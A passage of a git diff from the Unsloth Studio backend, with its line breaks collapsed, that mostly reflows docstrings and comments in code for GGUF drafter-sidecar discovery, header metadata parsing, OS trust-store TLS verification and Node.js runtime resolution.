pair but not the other: the shorter family name is a- prefix of the longer weight, so a base-family sidecar still matches a- longer-named sibling's weights. Exact equality cannot replace the prefix- rule -- ``mtp-gemma-4-12B-it.gguf`` really does ship beside- ``gemma-4-12B-it-qat-*.gguf`` -- so the remaining direction is settled by- ranking: callers prefer the longest matching stem (see _drafter_stem_rank).- """+ """Whether a drafter pairs with the weight, by name. A multi-model folder must not attach a foreign drafter, so the family the drafter names has to PREFIX the weight filename at a non-alphanumeric boundary. That blocks one direction of a ``DeepSeek-V4-Flash-Lite`` / ``DeepSeek-V4-Flash`` pair but not the other, since the shorter family name is a prefix of the longer weight. Exact equality cannot replace the prefix rule (``mtp-gemma-4-12B-it.gguf`` really does ship beside ``gemma-4-12B-it-qat-*.gguf``), so the remaining direction is settled by ranking: callers prefer the longest matching stem (see _drafter_stem_rank)."""if weight_name is None:return Truestem = _drafter_pairing_stem(candidate_name, kind = kind)@@ -79,22 +49,12 @@ def _drafter_matches_weight(candidate_name: str, weight_name: Optional[str], *,def _drafter_stem_rank(candidate_name: str, *, kind: str) -> int:- """Sort key placing the most specific family first (longest stem wins).-- Both ``mtp-DeepSeek-V4-Flash-BF16.gguf`` and- ``mtp-DeepSeek-V4-Flash-0731-BF16.gguf`` prefix-match a 0731 weight, and- only the second is really its drafter.- """+ """Sort key placing the most specific family first (longest stem wins): both ``mtp-DeepSeek-V4-Flash-BF16.gguf`` and ``mtp-DeepSeek-V4-Flash-0731-BF16.gguf`` prefix-match a 0731 weight, and only the second is really its drafter."""return -len(_drafter_pairing_stem(candidate_name, kind = kind) or "")def _drafter_launch_path(candidate: Path) -> str:- """The path llama-server should receive for *candidate*.-- llama-server takes shard 1 as the model path, and a split copy must stay on- its snapshot path: the blob target has no sibling shard names. Single-file- drafters still resolve, as callers expect.- """+ """The path llama-server should receive for *candidate*. llama-server takes shard 1 as the model path, and a split copy must stay on its snapshot path since the blob target has no sibling shard names. Single-file drafters still resolve, as callers expect."""from utils.models.model_config import _GGUF_SPLIT_FILE_RE, _local_gguf_load_pathloadable = _local_gguf_load_path(candidate)@@ -104,8 +64,7 @@ def _drafter_launch_path(candidate: Path) -> str:def _drafter_split_is_complete(candidate: Path) -> bool:- """False for a partial split set, which would fail llama-server's draft- startup and disable speculation entirely; skip it so a complete copy wins."""+ """False for a partial split set, which would fail llama-server's draft startup and disable speculation entirely; skip it so a complete copy wins."""from utils.models.model_config import colocated_split_shardstry:@@ -116,8 +75,7 @@ def _drafter_split_is_complete(candidate: Path) -> bool:def _drafter_total_size(candidate: Path) -> int:- """Bytes across every shard. Candidates are collapsed to shard 1, so a split- copy must be summed or it would outrank a smaller single file."""+ """Bytes across every shard. Candidates are collapsed to shard 1, so a split copy must be summed or it would outrank a smaller single file."""from utils.models.model_config import colocated_split_shardstry:shards, _ = colocated_split_shards(candidate)@@ -133,15 +91,7 @@ def _drafter_names_other_weight(*,kind: str = "dflash",) -> bool:- """Whether a sidecar names a DIFFERENT weight sitting beside it.-- A sidecar that names no family at all (the published ``dflash-kquant.gguf``,- whose stem is a precision token) has to stay eligible, so "does it name a- family" cannot be answered from the sidecar name alone. It is answered- against the weights actually present instead: only a stem that pairs with- some OTHER weight in the same repo/folder is evidence the sidecar belongs to- that neighbour rather than to the weight being loaded.- """+ """Whether a sidecar names a DIFFERENT weight sitting beside it. A sidecar that names no family at all (the published ``dflash-kquant.gguf``, whose stem is a precision token) has to stay eligible, so "does it name a family" cannot be answered from the sidecar name alone. It is answered against the weights actually present: only a stem that pairs with some OTHER weight in the same repo or folder is evidence the sidecar belongs to that neighbour rather than to the weight being loaded."""if weight_name is None:return Falseif _drafter_matches_weight(candidate_name, weight_name, kind = kind):@@ -155,16 +105,7 @@ _LISTED_SHARD_RE = re.compile(r"^(.*)-(\d{5})-of-(\d{5})\.gguf$", re.IGNORECASE)def split_listing_is_complete(names: Iterable[str], name: str) -> bool:- """Whether ``names`` carries every shard of the set ``name`` belongs to.-- The listing counterpart of _drafter_split_is_complete, which needs files on disk.- A repo mid-upload lists part of a set and the fetch refuses that, so the plan and- the budget must agree. True for a single-file name, which encodes no set.-- Counted within the file's own directory. A repo laid out by quant can hold- Q4/model-00001-of-00002.gguf beside Q8/model-00002-of-00002.gguf, and matching- on basenames alone would call both halves of two broken sets one whole one.- """+ """Whether ``names`` carries every shard of the set ``name`` belongs to. The listing counterpart of _drafter_split_is_complete, which needs files on disk: a repo mid-upload lists part of a set and the fetch refuses that, so the plan and the budget must agree. True for a single-file name, which encodes no set. Counted within the file's own directory, because a repo laid out by quant can hold Q4/model-00001-of-00002.gguf beside Q8/model-00002-of-00002.gguf, and matching on basenames alone would call both halves of two broken sets one whole one."""match = _LISTED_SHARD_RE.match(Path(name).name)if not match:return True@@ -174,8 +115,7 @@ def split_listing_is_complete(names: Iterable[str], name: str) -> bool:r"^" + re.escape(stem) + r"-(\d{5})-of-" + re.escape(match.group(3)) + r"\.gguf$",re.IGNORECASE,)- # Distinct indices inside 1..total, not a count: a mid-publication listing can hold 00001-of-00002 beside a stray- # 00003-of-00002, and counting would call that pair whole.+ # Distinct indices inside 1..total, not a count: a mid-publication listing can hold 00001-of-00002 beside a stray 00003-of-00002, and counting would call that pair whole.seen = set()for other in names:if Path(other).parent != parent:diff --git a/studio/backend/utils/models/drafters/dflash.py b/studio/backend/utils/models/drafters/dflash.pyindex c30ed465963..b062e3c70d9 100644--- a/studio/backend/utils/models/drafters/dflash.py+++ b/studio/backend/utils/models/drafters/dflash.py@@ -1,16 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""DFlash sidecar discovery for a local GGUF model.--DFlash is published as a ``dflash-`` prefixed sibling of the weights it drafts-for, so discovery is a naming question first and a header question second. The-order of those two matters and is deliberate: a caller with a directory lease-(a native grant) hands in ``accept``, and that has to answer before anything is-opened, because reading the header of a symlink pointing out of the lease is-the very thing the lease exists to prevent, and no later rejection takes a read-back.-"""+"""DFlash sidecar discovery for a local GGUF model. DFlash is published as a ``dflash-`` prefixed sibling of the weights it drafts for, so discovery is a naming question first and a header question second. That order is deliberate: a caller with a directory lease (a native grant) hands in ``accept``, and that has to answer before anything is opened, because reading the header of a symlink pointing out of the lease is the very thing the lease exists to prevent, and no later rejection takes a read back."""import loggingimport os@@ -38,17 +29,9 @@ logger = logging.getLogger(__name__)def is_dflash_architecture(path: str) -> bool:"""Whether a GGUF really is a DFlash sidecar, decided by its header.- ``dflash-`` is a filename convention an ordinary weight can satisfy, by- accident or otherwise, and llama-server only discovers that at startup: it- refuses the file as ``--model-draft`` and the load falls back to no- speculation, after the bytes were already fetched. A DFlash sidecar declares- ``general.architecture = dflash``, which no real weight does, so that is what- settles it.-- Kept here, beside the naming rules, because the local scan- (detect_dflash_file) and the download / cache reuse in llama_cpp all have to- apply it -- a remote path that trusted the prefix alone would download- gigabytes the launch then cannot use.+ ``dflash-`` is a filename convention an ordinary weight can satisfy, by accident or otherwise, and llama-server only discovers that at startup: it refuses the file as ``--model-draft`` and the load falls back to no speculation, after the bytes were already fetched. A DFlash sidecar declares ``general.architecture = dflash``, which no real weight does, so that is what settles it.++ Kept here, beside the naming rules, because the local scan (detect_dflash_file) and the download / cache reuse in llama_cpp all have to apply it: a remote path that trusted the prefix alone would download gigabytes the launch then cannot use."""return (read_gguf_architecture(str(path)) or "").lower() == "dflash"@@ -60,38 +43,18 @@ def detect_dflash_file() -> Optional[str]:"""Find a DFlash sidecar for a local GGUF model.- Two things differ from detect_dspark_file, both forced by how DFlash is- published:-- 1. Root level only. ``dspark/`` is always a publisher's companion folder, so- that scan is safe; ``dflash/`` is a family name a user picks for real- weights (the reason llama_cpp._DRAFTER_DIR_KINDS leaves it out), so- reaching into it would launch a weight copy as --model-draft.- 2. No filename pairing. The published sidecar is ``dflash-kquant.gguf``,- which names no model family at all, so _drafter_matches_weight would- reject the one file this exists to find. The header is checked instead:- a DFlash sidecar declares ``general.architecture = dflash``, which no- real weight does, and that is a stronger signal than a filename. It also- settles the adversarial case on its own, since a model merely CALLED- DFlash (``Qwen3.6-35B-A3B-DFlash-Q4_K_M.gguf``) reports its own- architecture.-- A sidecar that does name a family (``dflash-Qwen3.6-27B-BF16.gguf``, the- scheme ggml-org uses) still wins over an unnamed one for the weight it- matches, so a multi-model folder attaches the specific sidecar first.-- ``accept`` filters candidates in preference order, so a caller with extra- rules (a native lease) keeps scanning instead of treating the first- rejection as no sidecar at all.+ Two things differ from detect_dspark_file, both forced by how DFlash is published. Root level only: ``dspark/`` is always a publisher's companion folder so that scan is safe, while ``dflash/`` is a family name a user picks for real weights (the reason llama_cpp._DRAFTER_DIR_KINDS leaves it out), so reaching into it would launch a weight copy as --model-draft. And no filename pairing: the published sidecar is ``dflash-kquant.gguf``, which names no model family at all, so _drafter_matches_weight would reject the one file this exists to find. The header is checked instead, since a DFlash sidecar declares ``general.architecture = dflash`` which no real weight does, and that also settles the adversarial case, a model merely CALLED DFlash (``Qwen3.6-35B-A3B-DFlash-Q4_K_M.gguf``) reporting its own architecture.++ A sidecar that does name a family (``dflash-Qwen3.6-27B-BF16.gguf``, the scheme ggml-org uses) still wins over an unnamed one for the weight it matches, so a multi-model folder attaches the specific sidecar first.++ ``accept`` filters candidates in preference order, so a caller with extra rules (a native lease) keeps scanning instead of treating the first rejection as no sidecar at all."""# Imported per call: model_config imports this module.from utils.models.model_config import _local_gguf_load_pathdef _rank(candidate: Path) -> tuple[int, int, int, int, str]:- # A sidecar naming THIS weight's family first, then any unpaired one,- # then precision, then total size so a split copy cannot outrank a- # smaller single file, then name for a stable order.+ # A sidecar naming THIS weight's family first, then any unpaired one, then precision, then total size so a split copy cannot outrank a smaller single file, then name for a stable order.paired = _drafter_matches_weight(candidate.name, weight_name, kind = "dflash")return (0 if paired else 1,@@ -113,8 +76,7 @@ def detect_dflash_file(candidates: list[Path] = []other_weights: list[str] = []seen: set[Path] = set()- # dict.fromkeys: search_root is the weight's own parent for a flat layout,- # and scanning it twice doubles the directory reads for nothing.+ # dict.fromkeys: search_root is the weight's own parent for a flat layout, and scanning it twice doubles the directory reads for nothing.for root in dict.fromkeys(dirs):try:entries = list(root.iterdir())@@ -124,23 +86,15 @@ def detect_dflash_file(lower = candidate.name.lower()if not lower.endswith(".gguf"):continue- # Prefix form only: the shared predicates know DFlash by the dflash- prefix, so accepting- # <model>-dflash.gguf would make one file both a drafter and a selectable main model (#7811).- # The predicates are _drafter_path_kind / is_mtp_drafter_path, and the accepted file would also be a- # selectable Q8_0 main model. No published DFlash sidecar uses the suffix form; the shipped one is dflash-- # kquant.gguf.+ # Prefix form only: the shared predicates (_drafter_path_kind / is_mtp_drafter_path) know DFlash by the dflash- prefix, so accepting <model>-dflash.gguf would make one file both a drafter and a selectable Q8_0 main model (#7811). No published DFlash sidecar uses the suffix form; the shipped one is dflash-kquant.gguf.if not lower.startswith("dflash-"):- # Every other GGUF in the folder is a weight some sidecar could- # be naming. Recorded so a sidecar belonging to a NEIGHBOUR can- # be told apart from one naming no family at all (below).+ # Every other GGUF in the folder is a weight some sidecar could be naming. Recorded so a sidecar belonging to a NEIGHBOUR can be told apart from one naming no family at all (below).other_weights.append(candidate.name)continuetry:# Collapse a split copy to shard 1 before ranking.launch = _local_gguf_load_path(candidate)- # is_file() follows the link, so this also drops a dangling snapshot symlink and a directory named like- # a sidecar, which --model-draft cannot open and which fails the whole load.- # detect_dspark_file guards the same way.+ # is_file() follows the link, so this also drops a dangling snapshot symlink and a directory named like a sidecar, which --model-draft cannot open and which fails the whole load. detect_dspark_file guards the same way.if not (launch.is_file() and _drafter_split_is_complete(launch)):continueresolved = launch.resolve()@@ -151,11 +105,7 @@ def detect_dflash_file(seen.add(resolved)candidates.append(launch)- # A sidecar naming a NEIGHBOUR weight's family is that neighbour's drafter: ranking alone floated the foreign one to- # the top, launching model A's drafter for model B.- # Loading model B beside dflash-model-A-Q8_0.gguf and dflash-kquant.gguf launched model A's drafter for model B, and- # both carry a real dflash header, so the architecture check cannot catch it. _drafter_names_other_weight decides- # against the weights actually present and is shared with the remote paths through dflash_repo_preference_key.+ # A sidecar naming a NEIGHBOUR weight's family is that neighbour's drafter: ranking alone floated the foreign one to the top, so loading model B beside dflash-model-A-Q8_0.gguf and dflash-kquant.gguf launched model A's drafter for model B, and both carry a real dflash header so the architecture check cannot catch it. _drafter_names_other_weight decides against the weights actually present and is shared with the remote paths through dflash_repo_preference_key.if weight_name is not None and other_weights:kept: list[Path] = []for candidate in candidates:@@ -169,8 +119,7 @@ def detect_dflash_file(candidates = keptfor candidate in sorted(candidates, key = _rank):- # Resolve and validate before opening anything: a dflash-*.gguf reached through a native grant can be a symlink- # outside the lease, and reading the header first cannot be undone.+ # Resolve and validate before opening anything: a dflash-*.gguf reached through a native grant can be a symlink outside the lease, and reading the header first cannot be undone.try:launch = _drafter_launch_path(candidate)except OSError:@@ -185,9 +134,7 @@ def detect_dflash_file(logger.info("detect_dflash_file: dropped %s (architecture %r is not dflash)",candidate.name,- # Re-read only on the reject path, and header reads are cached by- # (path, mtime, size), so naming the offending architecture in the- # log costs nothing.+ # Re-read only on the reject path, and header reads are cached by (path, mtime, size), so naming the offending architecture in the log costs nothing.read_gguf_architecture(launch),)continuediff --git a/studio/backend/utils/models/gguf_metadata.py b/studio/backend/utils/models/gguf_metadata.pyindex f479b3adc92..3f86e74f82d 100644--- a/studio/backend/utils/models/gguf_metadata.py+++ b/studio/backend/utils/models/gguf_metadata.py@@ -46,22 +46,17 @@ _METADATA_CACHE: Dict[_CacheKey, Optional[Dict[str, str]]] = {}_CACHE_LOCK = threading.Lock()_CACHE_MAX_ENTRIES = 4096-# Separate cache for single bool capability keys (e.g. clip.has_audio_encoder),-# keyed by (file cache key, wanted key). None = key absent / file unreadable.+# Separate cache for single bool capability keys (e.g. clip.has_audio_encoder), keyed by (file cache key, wanted key). None = key absent / file unreadable._BOOL_CACHE: Dict[Tuple[_CacheKey, str], Optional[bool]] = {}_STRING_CACHE: Dict[Tuple[_CacheKey, str], Optional[str]] = {}_TTS_AUDIO_TYPE_CACHE: Dict[_CacheKey, Optional[str]] = {}-# Whether the GGUF tensor table contains a sequence-classification head. None-# means the file could not be read or parsed, so callers can fail closed.+# Whether the GGUF tensor table contains a sequence-classification head. None means the file could not be read or parsed, so callers can fail closed._CLASSIFIER_HEAD_CACHE: Dict[_CacheKey, Optional[bool]] = {}-# GGUF header dims for the staged UI in one cached pass (context_length, layer_count, moe_layer_count) so the staged-# sheet can size every slider before the model loads.-# None = unreadable / not a GGUF, and the native ``{arch}.context_length`` the UI shows before a load is read from here-# via read_gguf_context_length.+# GGUF header dims for the staged UI in one cached pass (context_length, layer_count, moe_layer_count) so the staged sheet can size every slider before the model loads. None = unreadable / not a GGUF; the native ``{arch}.context_length`` the UI shows before a load is read from here via read_gguf_context_length._DIMS_CACHE: Dict[_CacheKey, Optional[Dict[str, Optional[int]]]] = {}@@ -164,11 +159,7 @@ def _parse_gguf_header(path: str) -> Optional[Dict[str, str]]:def read_gguf_staged_dims(path: str) -> Optional[Dict[str, Optional[int]]]:- """GGUF header dims for the staged-load UI in one cached pass:- ``{"context_length", "layer_count", "moe_layer_count"}``. Each may be None- when absent (moe_layer_count is 0 for a dense model). Returns ``None`` if not- a GGUF / unreadable. Cached by (path, mtime, size). Lets the staged sheet size- the context, GPU-layers and MoE sliders before the model loads."""+ """GGUF header dims for the staged-load UI in one cached pass: ``{"context_length", "layer_count", "moe_layer_count"}``. Each may be None when absent (moe_layer_count is 0 for a dense model), and the result is ``None`` if not a GGUF or unreadable. Cached by (path, mtime, size). Lets the staged sheet size the context, GPU-layers and MoE sliders before the model loads."""key = _cache_key(path)if key is None:return None@@ -187,20 +178,13 @@ def read_gguf_staged_dims(path: str) -> Optional[Dict[str, Optional[int]]]:def read_gguf_context_length(path: str) -> Optional[int]:- """Native training context length (``{arch}.context_length``), or ``None``.- Thin accessor over read_gguf_staged_dims."""+ """Native training context length (``{arch}.context_length``), or ``None``. Thin accessor over read_gguf_staged_dims."""dims = read_gguf_staged_dims(path)return dims["context_length"] if dims else Nonedef _parse_gguf_arch_uints(path: str, wanted_suffixes: frozenset[str]) -> Optional[Dict[str, int]]:- """Walk a GGUF header once and return requested architecture-namespaced- uint (vtype 4/10) keys, e.g. ``{"block_count": 32}``.-- GGUF does not guarantee KV order, so matching uints are buffered until- ``general.architecture`` identifies the active namespace. Returns ``None``- if the file is unreadable/not GGUF, otherwise a possibly partial dict.- """+ """Walk a GGUF header once and return requested architecture-namespaced uint (vtype 4/10) keys, e.g. ``{"block_count": 32}``. GGUF does not guarantee KV order, so matching uints are buffered until ``general.architecture`` identifies the active namespace. Returns ``None`` if the file is unreadable or not GGUF, otherwise a possibly partial dict."""arch: Optional[str] = Nonebuffered: Dict[str, int] = {}found: Dict[str, int] = {}@@ -283,12 +267,7 @@ def _parse_gguf_arch_uints(path: str, wanted_suffixes: frozenset[str]) -> Optiondef read_gguf_nextn_predict_layers(path: str) -> Optional[int]:- """Return the selected architecture's embedded NextN/MTP layer count.-- ``0`` is a real headless verdict. ``None`` means the key is absent or the- header is unreadable, so callers that suppress a separate drafter can do so- only on a positive value.- """+ """The selected architecture's embedded NextN/MTP layer count. ``0`` is a real headless verdict; ``None`` means the key is absent or the header is unreadable, so callers that suppress a separate drafter can do so only on a positive value."""key = _cache_key(path)if key is None:return None@@ -326,9 +305,7 @@ def _parse_gguf_staged_dims(path: str) -> Optional[Dict[str, Optional[int]]]:# A real context/layer count is positive; treat 0/garbage as absent so the UI never builds a slider with max < min.context_length = ctx if ctx and ctx > 0 else Nonelayer_count = block if block and block > 0 else None- # MoE layer count = block_count - leading dense layers, only when experts- # exist; else 0 (dense -> slider hidden). Mirrors n_moe_layers in- # core/inference/llama_cpp.py.+ # MoE layer count = block_count - leading dense layers, only when experts exist, else 0 (dense, slider hidden). Mirrors n_moe_layers in core/inference/llama_cpp.py.if not vals.get("expert_count") or not block:moe_layer_count: Optional[int] = 0else:@@ -357,9 +334,7 @@ _FIXED_VTYPE_SIZES: Dict[int, int] = {def _skip_gguf_value(f, vtype: int) -> bool:- """Advance past one GGUF value. ``f.seek(.., 1)`` past EOF is legal on a- regular file, so truncation is caught on the next read; return False only- for unknown types or sanity-bound overflow."""+ """Advance past one GGUF value. ``f.seek(.., 1)`` past EOF is legal on a regular file, so truncation is caught on the next read; return False only for unknown types or sanity-bound overflow."""if vtype == 8: # STRINGslen_bytes = f.read(8)if len(slen_bytes) < 8:@@ -484,8 +459,7 @@ def _gguf_has_classifier_head(path: str) -> Optional[bool]:def _parse_gguf_bool(path: str, wanted_key: str) -> Optional[bool]:- """Bool value of ``wanted_key`` (GGUF vtype 7), or ``None`` if absent /- unreadable. Mirrors ``_parse_gguf_header`` for a single bool key."""+ """Bool value of ``wanted_key`` (GGUF vtype 7), or ``None`` if absent or unreadable. Mirrors ``_parse_gguf_header`` for a single bool key."""try:with open(path, "rb") as f:head = f.read(24)@@ -757,9 +731,7 @@ def read_gguf_chat_template(path: str) -> Optional[str]:def read_gguf_architecture(path: str) -> Optional[str]:- """``general.architecture``, or ``None`` when absent / unreadable / not a GGUF.-- Reads only the requested key instead of walking the rest of the header."""+ """``general.architecture``, or ``None`` when absent / unreadable / not a GGUF. Reads only the requested key instead of walking the rest of the header."""architecture = _read_gguf_string(path, "general.architecture")if isinstance(architecture, str) and architecture.strip():return architecture.strip()@@ -767,19 +739,12 @@ def read_gguf_architecture(path: str) -> Optional[str]:def read_mmproj_audio_capability(path: str) -> Optional[bool]:- """``clip.has_audio_encoder`` from an mmproj GGUF (e.g. Gemma 4's- gemma4ua): ``True``/``False`` if present, ``None`` if absent/unreadable.- Flags audio-input models independently of tokenizer token names."""+ """``clip.has_audio_encoder`` from an mmproj GGUF (e.g. Gemma 4's gemma4ua): ``True``/``False`` if present, ``None`` if absent or unreadable. Flags audio-input models independently of tokenizer token names."""return _read_gguf_bool(path, "clip.has_audio_encoder")def read_mmproj_projector_type(path: str) -> Optional[str]:- """``clip.projector_type`` from an mmproj GGUF, or None if absent/unreadable.-- The family name llama.cpp keys its per-projector image-token limits on- (``qwen3vl_merger``, ``gemma3``, ``pixtral``, ...), so a caller sizing the KV an- image will occupy can look the ceiling up instead of assuming one.- """+ """``clip.projector_type`` from an mmproj GGUF, or None if absent or unreadable. The family name llama.cpp keys its per-projector image-token limits on (``qwen3vl_merger``, ``gemma3``, ``pixtral``, ...), so a caller sizing the KV an image will occupy can look the ceiling up instead of assuming one."""return _read_gguf_string(path, "clip.projector_type")@@ -790,21 +755,14 @@ def read_mmproj_vision_capability(path: str) -> Optional[bool]:def mmproj_capabilities(path: str) -> Tuple[bool, bool]:- """``(declares_audio_encoder, accepts_image)`` for the projector at *path*.-- A projector serving both modalities declares both (Qwen2.5-Omni), so an audio-only- declaration (ultravox, Voxtral, Qwen3-ASR) is evidence of no vision tower. One- declaring neither -- an older convert, or a file this reader could not open -- is- unknown rather than audio-only and stays image-capable.- """+ """``(declares_audio_encoder, accepts_image)`` for the projector at *path*. A projector serving both modalities declares both (Qwen2.5-Omni), so an audio-only declaration (ultravox, Voxtral, Qwen3-ASR) is evidence of no vision tower. One declaring neither, an older convert or a file this reader could not open, is unknown rather than audio-only and stays image-capable."""vision = read_mmproj_vision_capability(path)audio = read_mmproj_audio_capability(path)return audio is True, (vision is True or audio is not True)def mmproj_accepts_image(path: str) -> bool:- """Whether images may be sent to the model this projector serves; see- :func:`mmproj_capabilities`."""+ """Whether images may be sent to the model this projector serves; see :func:`mmproj_capabilities`."""return mmproj_capabilities(path)[1]@@ -907,9 +865,7 @@ def _weight_url_looks_like_derivative_of_projector(weight_url: str, projector_urdef pairing_score(weight_meta: Optional[Dict[str, str]], mmproj_meta: Optional[Dict[str, str]]) -> int:- """Pairing confidence: 100 = base_model URL match, 90 = derivative URL,- 80 = basename + org, 60 = basename, -1 = definitive mismatch,- 0 = decide from filename."""+ """Pairing confidence: 100 = base_model URL match, 90 = derivative URL, 80 = basename + org, 60 = basename, -1 = definitive mismatch, 0 = decide from filename."""if not weight_meta or not mmproj_meta:return 0@@ -945,10 +901,7 @@ def pairing_score(return 0-# GGUF architectures that intrinsically identify embedding models. Generic ``bert`` is-# deliberately absent: without pooling_type its required CLS/MEAN pooling cannot be recovered. A-# ``cls.*`` tensor makes an encoder a reranker instead, so matches are gated on the tensor table.-# The values are GGUF ``general.architecture`` strings, as llama.cpp defines them.+# GGUF ``general.architecture`` strings that intrinsically identify embedding models. Generic ``bert`` is deliberately absent: without pooling_type its required CLS/MEAN pooling cannot be recovered, and a ``cls.*`` tensor makes an encoder a reranker instead, so matches are gated on the tensor table.GGUF_EMBEDDING_ARCHITECTURES: frozenset[str] = frozenset({"modern-bert",@@ -1017,17 +970,12 @@ def is_gguf_embedding_model(arch = (architecture or meta.get("general.architecture") or "").strip().lower()if arch == "bert":- # A classifier head can prove that generic BERT is a reranker- # llama-server otherwise defaults to NONE and /v1/embeddings returns HTTP 400.+ # A classifier head can prove that generic BERT is a reranker; llama-server otherwise defaults to NONE and /v1/embeddings returns HTTP 400.return Falseif is_gguf_embedding_architecture(arch):- # Generic BERT-family architectures also back cross-encoder rerankers.- # Their standardized cls.* tensors are intrinsic evidence of that role;- # an unreadable tensor table stays unclassified rather than guessing.+ # Generic BERT-family architectures also back cross-encoder rerankers, and their standardized cls.* tensors are intrinsic evidence of that role; an unreadable tensor table stays unclassified rather than guessing.return _gguf_has_classifier_head(gguf_path) is Falsereturn any(_has_embedding_name_hint(value) for value in name_candidates)-# Deliberately not re-exported: importing anything from THIS package runs utils.models.__init__,-# which pulls in model_config and therefore PyYAML, while core.inference.llama_cpp needs the-# verdict at import time. Import it from utils.gguf_archs.+# Deliberately not re-exported: importing anything from THIS package runs utils.models.__init__, which pulls in model_config and therefore PyYAML, while core.inference.llama_cpp needs the verdict at import time. Import it from utils.gguf_archs.diff --git a/studio/backend/utils/native_tls.py b/studio/backend/utils/native_tls.pyindex be61dfe4c68..dc6a9a54b78 100644--- a/studio/backend/utils/native_tls.py+++ b/studio/backend/utils/native_tls.py@@ -3,23 +3,11 @@"""Verify TLS against the OS trust store (corporate TLS-inspection proxies).-Python's ``ssl`` trusts only certifi's roots, so behind a TLS-inspecting proxy-(Cisco Umbrella, Zscaler, Netskope) every huggingface.co request fails with-``CERTIFICATE_VERIFY_FAILED``: the proxy re-signs traffic with a corporate CA-that lives only in the OS store. A shell user can export ``SSL_CERT_FILE``, but-GUI launches (macOS ``.app``, desktop shortcuts) never read shell profiles.--``truststore.inject_into_ssl()`` makes ``ssl.SSLContext`` verify against the OS-store instead, the runtime counterpart of ``UV_NATIVE_TLS`` in install.sh.-Injection is process-wide but does not survive a spawn, so every-network-touching entry point calls :func:`activate_native_tls` before its first-TLS connection; the ``python -c`` probes and the standalone prebuilt installers-carry an inline copy of the gating because they cannot import backend modules.--truststore is vendored at ``backend/vendor/`` rather than depended on, so no-Unsloth user gains a package for a proxy they do not have; see the README there.-Every consumer appends that directory to ``sys.path`` and imports the top-level-name, which keeps a truststore the user installed themselves in front of ours.+Python's ``ssl`` trusts only certifi's roots, so behind a TLS-inspecting proxy (Cisco Umbrella, Zscaler, Netskope) every huggingface.co request fails with ``CERTIFICATE_VERIFY_FAILED``: the proxy re-signs traffic with a corporate CA that lives only in the OS store. A shell user can export ``SSL_CERT_FILE``, but GUI launches (macOS ``.app``, desktop shortcuts) never read shell profiles.++``truststore.inject_into_ssl()`` makes ``ssl.SSLContext`` verify against the OS store instead, the runtime counterpart of ``UV_NATIVE_TLS`` in install.sh. Injection is process-wide but does not survive a spawn, so every network-touching entry point calls :func:`activate_native_tls` before its first TLS connection; the ``python -c`` probes and the standalone prebuilt installers carry an inline copy of the gating because they cannot import backend modules.++truststore is vendored at ``backend/vendor/`` rather than depended on, so no Unsloth user gains a package for a proxy they do not have (see the README there). Every consumer appends that directory to ``sys.path`` and imports the top-level name, which keeps a truststore the user installed themselves in front of ours.On by default for macOS and Windows, and on Linux only for the desktop app's ownbackend (#9218); a headless ``unsloth studio`` keeps the@@ -31,11 +19,7 @@ builds its context from ``SSL_CERT_FILE`` alone, so pointing it at a private CAstill costs you the public roots and the Hub with them. Install the CA in the OSstore instead, which is what this module then reaches.-Client side only: the injected class verifies a peer chain on every handshake,-so an ``SSLContext`` built after activation cannot serve TLS. Unsloth serves-plain HTTP on loopback and ``test_native_tls_entrypoints.py`` keeps it that way;-a future in-process HTTPS listener needs ``truststore.SSLContext`` for outbound-connections instead of this process-wide injection.+Client side only: the injected class verifies a peer chain on every handshake, so an ``SSLContext`` built after activation cannot serve TLS. Unsloth serves plain HTTP on loopback and ``test_native_tls_entrypoints.py`` keeps it that way; a future in-process HTTPS listener needs ``truststore.SSLContext`` for outbound connections instead of this process-wide injection."""from __future__ import annotations@@ -51,8 +35,7 @@ _DEFAULT_ON_PLATFORMS = ("darwin", "win32")_TRUTHY = ("1", "true", "yes")_FALSEY = ("0", "false", "no")-# Resolved from this file so it is right in a checkout and an installed wheel alike; never built-# from the cwd or a hardcoded "studio/backend".+# Resolved from this file so it is right in a checkout and an installed wheel alike; never built from the cwd or a hardcoded "studio/backend"._VENDOR_DIR = str(Path(__file__).resolve().parent.parent / "vendor")_logger = logging.getLogger(__name__)@@ -131,10 +114,7 @@ def vendor_dir() -> str:def inline_gate_source() -> str:- """The gate as executable source, for a child that cannot import this module.-- The child must bind ``_TRUSTSTORE_VENDOR`` to the vendor directory first.- """+ """The gate as executable source, for a child that cannot import this module. The child must bind ``_TRUSTSTORE_VENDOR`` to the vendor directory first."""return _INLINE_GATE.format(env = _NATIVE_TLS_ENV,owner_env = _DESKTOP_OWNER_KIND_ENV,@@ -145,11 +125,7 @@ def inline_gate_source() -> str:def activate_native_tls() -> bool:- """Idempotently patch ``ssl`` to verify against the OS trust store.-- Returns True when injection is active. Failure is non-fatal: falling back to- certifi is the pre-existing, strictly less permissive behaviour.- """+ """Idempotently patch ``ssl`` to verify against the OS trust store. Returns True when injection is active; failure is non-fatal, since falling back to certifi is the pre-existing, strictly less permissive behaviour."""global _activatedif _activated:return Truediff --git a/studio/backend/utils/node_runtime.py b/studio/backend/utils/node_runtime.pyindex a2546e4883e..6283125ce43 100644--- a/studio/backend/utils/node_runtime.py+++ b/studio/backend/utils/node_runtime.py@@ -1,14 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Resolve a usable Node.js executable at runtime.--The installer provisions an isolated Node under ``<UNSLOTH_HOME>/node`` but only-puts it on PATH for the *setup* process, never the user's shell. So backend code-that shells out to ``node`` at runtime (the OXC validator) cannot rely on PATH.-``resolve_node_executable`` prefers a version-adequate system Node, else the-managed isolated Node (same floor the installer applies: ^20.19 || >=22.12 || >=23).-"""+"""Resolve a usable Node.js executable at runtime. The installer provisions an isolated Node under ``<UNSLOTH_HOME>/node`` but only puts it on PATH for the *setup* process, never the user's shell, so backend code that shells out to ``node`` at runtime (the OXC validator) cannot rely on PATH. ``resolve_node_executable`` prefers a version-adequate system Node, else the managed isolated Node (same floor the installer applies: ^20.19 || >=22.12 || >=23)."""from __future__ import annotations@@ -25,9 +18,7 @@ _NODE_VERSION_PROBE_TIMEOUT_SECONDS = 10_IS_WINDOWS = os.name == "nt"-# Keep in sync with the setup scripts' floors, decide_node_source (setup.sh) / Get-NodeDecision-# (setup.ps1): Vite 8 needs Node ^20.19 || >=22.12 || >=23, and both require npm >= 11 before-# accepting a system runtime.+# Keep in sync with the setup scripts' floors, decide_node_source (setup.sh) / Get-NodeDecision 